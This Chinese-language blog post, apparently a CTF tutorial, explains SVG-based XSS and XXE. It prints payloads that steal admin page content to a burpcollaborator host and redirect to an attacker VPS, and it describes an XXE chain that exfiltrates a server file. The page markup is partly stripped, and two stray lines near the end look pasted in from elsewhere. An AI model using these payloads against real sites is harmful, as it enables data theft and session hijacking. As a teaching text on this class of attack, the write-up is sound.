浅谈SVG的两个黑魔法
浅谈SVG的两个黑魔法
本文首发于“合天网安实验室”作者:Kawhi本文涉及靶场知识点:
XXE漏洞分析与实践:http://www.w3.org/2000/svg"version="1.1">circlecx="100"cy="50"r="40"stroke="black"stroke-width="2"fill="red"/>script>alert(1)/script>/svg>我们用浏览器打开它会发现它会造成XSS。
刨根问底
为什么这样的SVG图片会造成跨站脚本问题呢?这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。可以看到在国际的SVG标准中定义了script标签的存在,总之XSS之所以能够执行是因为遵循了svg及xml的标准。
CTF中的应用场景
XSSME
题目地址:https://xssrf.hackme.inndy.tw/本题是给admin发一封邮件,然后admin会查看你发送的邮件,很明显的xss盗取管理员cookie,但是这里经过fuzz发现过滤了如下字符:script ) onmouseover 空格onload 空格onerror iframe我们这里可以考虑用SVG标签来进行XSS,比如:svg/onload=alert(1)>这里我们可以发送到VPS测试一下是否有效svg/onload="document.location='http://vps-ip:1234'">

Teaser Confidence CTF 2019:Web 50
本题是一道比较经典的利用svg去构造xss的题目,但是由于题目并没有开源,所以没办法复现,这里主要学习他的思路。根据题目描述,有两个功能,一个是报告BUG,一个是修改个人信息,然后管理员会查看该域名下的某处页面,这里主要是通过xss获取admin页面Secret表单的值来获取flag。在个人资料页面中,我们可以将头像上传到服务器,服务器将检查此文件是否为有效图像,并且大小必须为100x100。我们如果将有效的PNG图片重命名为1.html,然后上传。但是,HTTP内容类型仍为image/png,那么这里有个问题就是如果内容类型为image/png,则将此链接发送给admin不会触发XSS有效负载。所以这里就可以使用svg作为媒介来构造xss,去获取secret的值,这里直接贴一下payload?xml version="1.0"encoding="UTF-8"?>svg xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"id="Layer_1"x="0px"y="0px"width="100px"height="100px"viewBox="-12.5 -12.5 100 100"xml:space="preserve">...g>polygon fill="#00B0D9"points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 ">/polygon>script type="text/javascript">var xhr =new XMLHttpRequest();xhr.onreadystatechange =function(){if(xhr.readyState ===4){var xhr2 =new XMLHttpRequest();xhr2.open("POST","http://XXXX.burpcollaborator.net/");xhr2.send(xhr.responseText);}}xhr.open("GET","http://web50.zajebistyc.tf/profile/admin");xhr.withCredentials =true;xhr.send();/script>/g>.../svg>这里使用了burpcollaborator来外带数据,Burp Suite在1.7之后的版本自带了这个功能,获取burpcollaborator的地址如图所示:

SVG造成XXE
前面说了SVG是基于XML的矢量图,因此可以支持Entity(实体)功能,因此可以用来XXE。CTF中的应用场景
这里从两道经典的CTF题目来学习如何XXE并且结合SVG,这里分为有回显和无回显两种情况。有回显的情况
svgmagic(BsidesSF CTF 2019)github题目源码:传送门buu平台也有上这道题目打开页面





- 首先我们payload中的% remote去获取vps上的xml.dtd
- 然后xml.dtd中的% start去调用% file
- % file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
- 最后通过% send将数据发送到vps监听的1234端口上
- 用户r1ck的操作记录在哪儿来着
- 如果你发现了sql注入,直接getshell吧,flag在/app目录里

总结
SVG算是一个比较容易让人忽视的点,但是他造成的一些问题却是我们不能够忽视的,在CTF中如果有些题目没有限制SVG这个点的话,我们就可以尝试用他来进行XSS或者XXE,然后在查阅资料的过程,发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案,具体可以参考:https://svg.digi.ninja/https://github.com/digininja/svg_xss
参考链接
http://yulige.top/?p=665https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html